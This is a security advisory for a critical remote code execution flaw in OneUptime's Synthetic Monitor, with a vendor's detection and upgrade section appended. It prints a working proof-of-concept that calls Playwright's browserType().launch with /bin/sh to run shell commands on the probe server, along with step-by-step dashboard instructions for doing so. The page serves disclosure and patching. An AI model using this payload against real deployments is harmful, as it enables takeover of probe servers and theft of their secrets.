GHSA-jw8q-gjvg-8w4q
CRITICALOneUptime has Synthetic Monitor RCE via exposed Playwright browser object
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@oneuptime/commonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
OneUptime Synthetic Monitors allow a low-privileged authenticated project user to execute arbitrary commands on the oneuptime-probe server/container.
The root cause is that untrusted Synthetic Monitor code is executed inside Node's vm while live host-realm Playwright browser and page objects are exposed to it. A malicious user can call Playwright APIs on the injected browser object and cause the probe to spawn an attacker-controlled executable.
This is a server-side remote code execution issue. It does not require a separate vm sandbox escape.
Details
A normal project member can create or edit monitors and monitor tests:
Monitoraccess control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/Monitor.ts#L45-L70MonitorTestaccess control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/MonitorTest.ts#L27-L52
The dashboard exposes a Playwright code editor for Synthetic Monitors and allows a user to queue a test run:
- Synthetic Monitor editor: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L260-L289
Test Monitorflow: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L69-L83
For MonitorType.SyntheticMonitor, attacker-controlled customCode is passed into SyntheticMonitor.execute(...):
SyntheticMonitor.execute(...) then calls VMRunner.runCodeInNodeVM(...) and injects live Playwright objects into the VM context:
Relevant code path:
result = await VMRunner.runCodeInNodeVM({
code: options.script,
options: {
timeout: PROBE_SYNTHETIC_MONITOR_SCRIPT_TIMEOUT_IN_MS,
args: {},
context: {
browser: browserSession.browser,
page: browserSession.page,
screenSizeType: options.screenSizeType,
browserType: options.browserType,
},
},
});
VMRunner.runCodeInNodeVM(...) wraps host objects in proxies, but it still forwards normal method calls with the real host this binding. It only blocks a few property names such as constructor, __proto__, prototype, and mainModule:
- Blocked properties: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L20-L25
- Real host
thisbinding during method calls: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L81-L103 - Additional context injection into the VM: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L388-L395
Because of that, untrusted code can still use legitimate Playwright methods on the injected browser object.
The probe pins Playwright 1.58.2:
In that version, Browser.browserType() returns a BrowserType object, and BrowserType.launch() accepts attacker-controlled executablePath, ignoreDefaultArgs, and args. Playwright then passes those values into a child-process spawn path.
As a result, a malicious Synthetic Monitor can do this from inside the sandboxed script:
browser.browserType().launch({
executablePath: "/bin/sh",
ignoreDefaultArgs: true,
args: ["-c", "id"],
});
Even if Playwright later throws because the spawned process is not a real browser, the command has already executed.
This execution path is reachable through both one-shot monitor testing and normal scheduled monitor execution:
- Monitor tests fetched by the probe: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85
- Scheduled monitor execution: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchList.ts#L96-L126
This appears distinct from prior node:vm breakout issues because the exploit does not need to recover process from the VM. The dangerous capability is already exposed by design through the injected Playwright object.
PoC
- Log in to the dashboard as a regular project member.
- Go to
Monitors->Create New Monitor. - Select
Synthetic Monitor. - In the Playwright code field, paste:
browser.browserType().launch({
executablePath: "/bin/sh",
ignoreDefaultArgs: true,
args: [
"-c",
"id"
],
timeout: 1000,
}).catch((err) => {
console.log(String(err));
});
return {
data: {
launched: true
}
};
- Select one browser type, for example
Chromium. - Select one screen type, for example
Desktop. - Set retry count to
0. - Click
Test Monitorand choose any probe.
Expected result:
- the monitor execution succeeded and in the Show More Details the command output is shown. <img width="1537" height="220" alt="image" src="https://github.com/user-attachments/assets/4fa5b458-cae9-4ec8-add0-bfc288ee7568" />
Impact
This is a server-side Remote Code Execution issue affecting the probe component.
Who is impacted:
- any OneUptime deployment where an attacker can obtain ordinary project membership
- environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @oneuptime/common | all versions | 10.0.21 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oneuptime/common. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @oneuptime/common to 10.0.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jw8q-gjvg-8w4q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jw8q-gjvg-8w4q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jw8q-gjvg-8w4q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jw8q-gjvg-8w4q in your dependencies?
O3 detects GHSA-jw8q-gjvg-8w4q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.